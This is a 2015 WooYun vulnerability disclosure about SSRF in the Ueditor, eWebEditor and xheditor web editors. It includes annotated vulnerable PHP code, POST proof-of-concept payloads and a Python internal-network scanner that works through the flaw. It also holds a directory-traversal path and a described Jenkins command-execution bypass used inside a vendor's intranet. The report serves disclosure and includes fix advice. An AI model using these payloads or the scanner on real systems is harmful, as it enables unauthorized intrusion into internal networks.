当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133125

漏洞标题:普通应用下的暗涌-几款通用型应用的SSRF漏洞利用及分析以及某大厂坑到自己记录

相关厂商:多款应用

漏洞作者: Tea

提交时间:2015-08-12 18:53

修复时间:2015-11-12 15:46

公开时间:2015-11-12 15:46

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-12: 细节已通知厂商并且等待厂商处理中
2015-08-14: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-17: 细节向第三方安全合作伙伴开放
2015-10-08: 细节向核心白帽子及相关领域专家公开
2015-10-18: 细节向普通白帽子公开
2015-10-28: 细节向实习白帽子公开
2015-11-12: 细节向公众公开

简要描述:

验证到半夜,求加精
为什么敢自评20,因为我觉得影响确实很广
而且要么不影响要么就是内网
你觉得SSRF的问题有多大?
自从乌云上大牛们提了不少SSRF进内网的实例以后,让我明白:
不要以为有缺陷的应用在内网就能高枕无忧!!!
内部应用的安全同样需要做好,无需一个WEBSHELL,一个你没想到的SSRF的点就能让你崩溃,而且很多人都在用的应用~
本报告记录几款没什么人注意,用户量多,比较隐蔽的且通用SSRF漏洞,以及某大厂商内网执行命令的故事
如果你看懂了,恭喜你,情商跟我一样为负数了~

详细说明:

首先,此处的主角为几款流行的编辑器:
Ueditor、ewebeditr、xheditor
以前在用这些编辑器的时候,往往最容易出现问题的就是,直接GETSHELL,欺骗绕过,上传改名等。但是在印象中,还有一个功能,就是远程文件上传,功能一直存在。聪明的你,应该想到了吧,虽然以前远程上传文件也能够直接GETSHELL,但是后面修复过以后,这功能也就渐渐被人遗忘了。SSRF最近也火起来了,我就拿出来写下这几款编辑器的缺陷吧,以及是怎样拿其中一款在某厂商内部执行命令的
其实我是分析了不少编辑器的,如下:

1.png


网络上面容易搜到,且下载多的都找了下。
暂时就发现了开头说的那三个存在SSRF问题。
注:因为很多编辑器都只有前端处理程序,SSRF漏洞需要后端的脚本提供支持~
一款编辑器一般都有不同语言开发的版本,要实现的功能也是一样的。
在此报告中,就主要分析下PHP写的,以及后面在某厂中用到的JSP版本的,来证明无关语言,反正通杀~
比如百度出品的ueditor(文章的猪脚)
Ueditor有三个版本,ubuilder、ueditor开发版、ueditorMINI版本

2.png


漏洞文件:
老版本:
/php/getRemoteImage.php
比较新版本以及最新版本以及未发布的1.4.4测试版本:
1.4.4版本又在1.4.3的上面修改了一处代码,导致一处可回显的SSRF变成了BOLL型的SSRF,可能百度内部也没引起重视,自己的产品的版本升级到最新的未发布的版本,或者更新个安全通过,导致自己被坑倒了~
1.4.4现在在官网并没有下载,只有github存在,而且是测试版本,为什么这样说,请看下面写的测试百度的内容。
/php/action_crawler.php
首先分析下getRemoteImage.php文件所产生的问题:
此文件存在于V1.4.2以下版本,不影响V1.4.2

<?php
/**
* Created by JetBrains PhpStorm.
* User: taoqili
* Date: 11-12-28
* Time: 上午9:54
* To change this template use File | Settings | File Templates.
*/
header("Content-Type: text/html; charset=gbk");
error_reporting(E_ERROR|E_WARNING);
//远程抓取图片配置
$config = array(
"savePath" => "upload/" , //保存路径
"allowFiles" => array( ".gif" , ".png" , ".jpg" , ".jpeg" , ".bmp" ) , //文件允许格式 PS:这里在下面会出现
"maxSize" => 3000 //文件大小限制,单位KB
);
$uri = htmlspecialchars( $_POST[ 'upfile' ] ); //获取需要请求的资源地址并且进入htmlspecialchars()过滤
$uri = str_replace( "&amp;" , "&" , $uri ); //替换成正常的&好进行参数拼接,所以提交多参数的时候需要把&提交为%26amp;或者%26
getRemoteImage( $uri,$config ); //进入获取远程资源的方法
/**
* 远程抓取
* @param $uri
* @param $config
*/
function getRemoteImage( $uri,$config)
{
//忽略抓取时间限制
set_time_limit( 0 );
//ue_separate_ue ue用于传递数据分割符号
$imgUrls = explode( "ue_separate_ue" , $uri );
$tmpNames = array();
foreach ( $imgUrls as $imgUrl ) {
//http开头验证
if(strpos($imgUrl,"http")!==0){ //验证是不是http协议了,当然https://这也是可以的过去这里的。所以文件协议就废了
array_push( $tmpNames , "error" );
continue;
}
//获取请求头
$heads = get_headers( $imgUrl );
//死链检测
if ( !( stristr( $heads[ 0 ] , "200" ) && stristr( $heads[ 0 ] , "OK" ) ) ) {//这里得验证资源是存在的,不存在就不走下面了
array_push( $tmpNames , "error" );
continue;
}
//格式验证(扩展名验证和Content-Type验证)
$fileType = strtolower( strrchr( $imgUrl , '.' ) );//取出url跟允许的后缀做比较,所以这里我们可以用url/xxxx#.jpg。这类绕过请求任意存在的资源
if ( !in_array( $fileType , $config[ 'allowFiles' ] ) || stristr( $heads[ 'Content-Type' ] , "image" ) ) {//后面这里一般都是访问的非图片资源,肯定是false了,但是我们前面是false了(!true),所以就不走进来了,所以我们可以请求任意不是Content-Type为image的资源,并且回显出来
array_push( $tmpNames , "error" );
continue;
}
//打开输出缓冲区并获取远程图片
ob_start();
$context = stream_context_create(
array (
'http' => array (
'follow_location' => false // don't follow redirects
)
)
);
//请确保php.ini中的fopen wrappers已经激活
readfile( $imgUrl,false,$context); //这里就读取内容了
$img = ob_get_contents();
ob_end_clean();
//大小验证
$uriSize = strlen( $img ); //得到图片大小
$allowSize = 1024 * $config[ 'maxSize' ];
if ( $uriSize > $allowSize ) {
array_push( $tmpNames , "error" );
continue;
}
//创建保存位置
$savePath = $config[ 'savePath' ];
if ( !file_exists( $savePath ) ) {
mkdir( "$savePath" , 0777 );
}
//写入文件 PS:这里就获取了文件的内容并且写入为图片文件了,并且会返回文件的地址,我们可以在后面再请求这个文件获取请求的内容
//就跟一个中转一样
$tmpName = $savePath . rand( 1 , 10000 ) . time() . strrchr( $imgUrl , '.' );
try {
$fp2 = @fopen( $tmpName , "a" );
fwrite( $fp2 , $img );
fclose( $fp2 );
array_push( $tmpNames , $tmpName );
} catch ( Exception $e ) {
array_push( $tmpNames , "error" );
}
}
/**
* 返回数据格式
* {
* 'url' : '新地址一ue_separate_ue新地址二ue_separate_ue新地址三',
* 'srcUrl': '原始地址一ue_separate_ue原始地址二ue_separate_ue原始地址三',
* 'tip' : '状态提示'
* }
*/
echo "{'url':'" . implode( "ue_separate_ue" , $tmpNames ) . "','tip':'远程图片抓取成功!','srcUrl':'" . $uri . "'}";
}


此漏洞在最新发布的ueditor1.4.3依旧存在
ueditor1.4.4暂时值存在于github,虽然已经不能获取到返回的内容了(非图片资源),但是还是可以用于盲打SSRF,或者用户WEB指纹判断应用类型(比如请求/tomcat.jpg)这类的
因为漏洞是通用,代码差不多,这里就不啰嗦,直接对比下最新未发布的跟最新已经发布的版本,看看哪里修改了代码,给我们造成了困扰吧。
主要看:
\php\ Uploader.class.php
188行到192行

//格式验证(扩展名验证和Content-Type验证)
$fileType = strtolower(strrchr($imgUrl, '.'));
if (!in_array($fileType, $this->config['allowFiles']) || stristr($heads['Content-Type'], "image")) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE");
return;
}


跟以前老版本的没区别对吧,所以漏洞依旧是可以利用获取到任意请求资源内容的。
我们来看看baiduGithub中还没发布的V1.4.4的代码:

3.png


核心就是多了个”!”,这里就限制住请求任意资源文件了。
为什么最新的未发布的修改了呢?因为是百度的发现了这个问题,但是却没认为非常重要,不是一个安全问题,这就会导致百度内网出问题。
在找百度用的这种编辑器的时候,发现的最新版。
http://**.**.**.**/static/lib/ueditor/php/controller.php?action=catchimage&source[]=
还有一处JSP版本,JSP版本在低版本也比PHP的安全,比如
http://**.**.**.**/thirdparty/ueditor/jsp/imageUp.jsp
最新版本跟非PHP版本(没有研究ASP,.NET以及其他版本),虽然不能获取到请求的数据,但是这些版本都是可以进行内网探测,盲打SSRF的。(以下有个彩蛋对于这个)
我们看看为什么低版本的JSP编辑器也不能够获取到返回来的数据吧:
\jsp\getRemoteImage.jsp

4.png


到此分析ueditor完毕。
小结:
php版本的ueditor<=1.4.3可以通过SSRF获取内容
jsp,php的所有版本(暂时值看了这两个),都可以盲打内网SSRF,以及进行端口扫描。
在进行探测的时候,注意端口打开的时候以及关机的时候的延时。
如果存在错误信息泄漏的话,更加方便。
ueditor验证:
老版本:
**.**.**.**/ueditor/php/getRemoteImage.php
POST:
upfile=**.**.**.**:80/%23.jpg
新版本:
**.**.**.**/ueditor/php/controller.php?action=catchimage
POST:
source[]=**.**.**.**:80/%23.jpg
ewebeditor这款肯定不会陌生了。
这里来说说利用,漏洞成因都是一样的,就不分析了:
**.**.**.**/ts/ewebeditor/editor/php/upload.php?action=REMOTE&style=toby57&language=en
POST:
eWebEditor_UploadText=http://**.**.**.**/img/bd_logo1.jpg
证明一下,可以获取到任意资源。

5.png


xheditor这个用的人也是不少,这个只能用来盲打SSRF之类的了。
因为,它获取到资源以后会对文件进行检查,不是图片文件会进行删除操作。
利用POC:
**.**.**.**/xheditor/demos/saveremoteimg.php
POST:
urls=https://**.**.**.**:80/img/bd_logo1.png

6.png


另外附带一个openwysiwyg_v1.4.7编辑器的列目录漏洞:
/addons/imagelibrary/select_image.php?dir=..\..\..\..\..

漏洞证明:

ueditor是百度的产品就找下百度的问题吧~
在详细说明中已经给了两处了,都不能获取返回的内容,只能盲扫,等下还说下我盲扫的结果。
http://**.**.**.**/static/lib/ueditor/php/controller.php?action=catchimage&source[]=
http://**.**.**.**/thirdparty/ueditor/jsp/imageUp.jsp
给出扫描的验证脚本一部分:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author:Tea
#Test Baidu Ueditor Jsp version for SSRF Vul
import json
import requests
import time
def main():
uediotr_url = 'http://**.**.**.**/thirdparty/ueditor/jsp/getRemoteImage.jsp?'
#Check_Dir(uediotr_url)
#Check_Port(uediotr_url)
Check_Poc(uediotr_url)
def Check_Port(url):
Tmp_Host = Get_IP()
Tmp_Port = Get_Scan_Port()
for scan_str in Tmp_Host:
for scan_port in Tmp_Port:
scan_tmp_par = ''.join(['http://',scan_str,':',scan_port.__str__(),'/%23.jpg'])
scan_par = {'upfile':scan_tmp_par}
print scan_tmp_par
'''
if Request_Post_Url(url,scan_par):
print ''.join([scan_str,' ',scan_port.__str__(),' Is Open!'])
'''
def Check_Dir(url):
Tmp_Host = Get_IP()
Tmp_Dir = Get_Scan_Finger()
for scan_str in Tmp_Host:
for scan_dir in Tmp_Dir:
scan_tmp_par = ''.join(['http://',scan_str,':8080',scan_dir.__str__()])
scan_par = {'upfile':scan_tmp_par}
if Request_Post_Url_Check_Dir(url,scan_par):
print ''.join([scan_tmp_par,' Is Exists!!!'])
def Check_Poc(url):
Tmp_Host = Get_IP()
Tmp_Poc = Get_Scan_Poc()
for scan_str in Tmp_Host:
for scan_poc in Tmp_Poc:
scan_tmp_par = ''.join(['http://',scan_str,':8080',scan_poc.__str__()])
scan_par = {'upfile':scan_tmp_par}
print scan_par
Request_Post_Url_Check_Dir(url,scan_par)
def Get_Scan_Port():
#port_list = [21,22,23,25,80,110,135,139,443,1433,1521,3306,3389,8080]
port_list = [80,8080]
return port_list
def Get_Scan_Finger():
finger_list = ['/jmx-console/images/logo.gif','/tomcat.png']
return finger_list
def Get_IP():
ip_list_result = []
'''
ip_list = ['**.**.**.**']
'''
ip_list_result = ['这里隐去了']
return ip_list_result
def Request_Post_Url(url_str,post_data):
if post_data:
try:
Req_headers = {'content-type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:36.0)Gecko/20100101 Firefox/36.0',
'Referer':'http://**.**.**.**/'}
Url_Request = requests.post(url_str,headers=Req_headers,data=post_data,timeout=3)
Url_Request_Text = Url_Request.text
Url_Request_Code = Url_Request.status_code
Url_Request_Text = Url_Request_Text.replace('\'','"')
Url_Request_Json = json.loads(Url_Request_Text)
Url_Request_Url = Url_Request_Json['url']
if Url_Request_Url:
return True
else:
return False
except:
return False
def Request_Post_Url_Check_Dir(url_str,post_data):
if post_data:
try:
Req_headers = {'content-type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:36.0)Gecko/20100101 Firefox/36.0',
'Referer':'http://**.**.**.**/'}
Url_Request = requests.post(url_str,headers=Req_headers,data=post_data,timeout=3)
Url_Request_Text = Url_Request.text
Url_Request_Code = Url_Request.status_code
Url_Request_Text = Url_Request_Text.replace('\'','"')
Url_Request_Json = json.loads(Url_Request_Text)
Url_Request_Url = Url_Request_Json['url']
if Url_Request_Url.__str__() != 'null':
return True
else:
return False
except:
return False
if __name__ == '__main__':
main()


通过类似上面的脚本我扫描了百度内网不少网段,筛选了一些开着8080,80端口的机器。
类似这样:

**.**.**.**  8080  Is Open!
10.X2.x.13 80 Is Open!
10.X2.x.14 80 Is Open!
10.X2.x.15 80 Is Open!
10.X2.x.17 80 Is Open!
10.X2.x.18 80 Is Open!
10.X2.x.20 80 Is Open!
10.X2.x.21 80 Is Open!
10.X2.x.22 80 Is Open!
10.X2.x.23 80 Is Open!
10.X2.x.24 80 Is Open!
10.X2.x.25 80 Is Open!
10.X2.x.25 8080 Is Open!


很多,就不一一列出了了~
给出暂时找到的一处,可以获取返回资源的:
http://**.**.**.**/editor/php/getRemoteImage.php
下面给出结果吧:
一开始的想法其实就是想通过struts2的代码执行漏洞,盲SSRF一个回显到外网的WEB日志去,但是可能由于之前有大牛打过一回,那有问题的IP端口也关了,所以没有一个成功,这个是在后面一个一个找URL看源码,找出来的。。

18.png


漏洞证明:

baidu1.png


baidu2.png


baidu3.png


baidu4.png


baidu5.png


baidu6.png


baidu7.png


如下图有我用JSP版本盲打SSRF的日志记录(可惜没成功一个),请求回来的,
然后有很多内网的真实IP了。

baidu8.png


PY源码:

baidu9.png


还有一些截图,在这里没必要再给出来了,下面给个可以执行代码的问题应用(寻找的过程略掉,不然太啰嗦):
Jenkins
参考资料:
http://**.**.**.**/archives/2166.html
Jenkins我在本地测试的时候是不接收GET参数的,很奇怪百度里面的那个接收。。
如图:

null.png


这里说下两个问题:
在请求的时候提交单引号或者双引号。。
比如"whoami".execute().text,去执行任意代码。
会被转移掉,然后报错,就是前面添加了一个反斜杠,如图:

baidu17.png


然后我就想到了用
/代替单双引号,没想到行得通,简单绕过了这个,就可以执行任意命令了。
空格提交的时候需要编码为%2520..
如图:

baidu16.png


baidu18.png


baidu19.png


现在可以在内网执行任意命令了
然后就停止了验证。
没有做任何破坏性操作,没有写WEBSHELL文件,只是检测。
扫描的时候只是扫描了80,8080端口,只为寻找WEB应用。
通过延时判断端口请求的小补充:

def Request_Post_Url(url_str,post_data):
if post_data:
try:
Req_headers = {'content-type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:36.0)Gecko/20100101 Firefox/36.0',
'Referer':'http://**.**.**.**/'}
time_start = time.time() * 1000
Url_Request = requests.post(url_str,headers=Req_headers,data=post_data,timeout=3)
time_stop = time.time() * 1000
time_result = time_stop-time_start
if time_result >= 150:
return True
else:
return False
except:
return False

修复方案:

远程文件上传功能不必要就删除
这些问题其实相当于代理,直接通往内网
限制好请求的主机

版权声明:转载请注明来源 Tea@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-14 15:44

厂商回复:

CNVD确认所述情况,已由CNVD通过软件生产厂商(或网站管理方)公开联系渠道向其邮件(和电话)通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无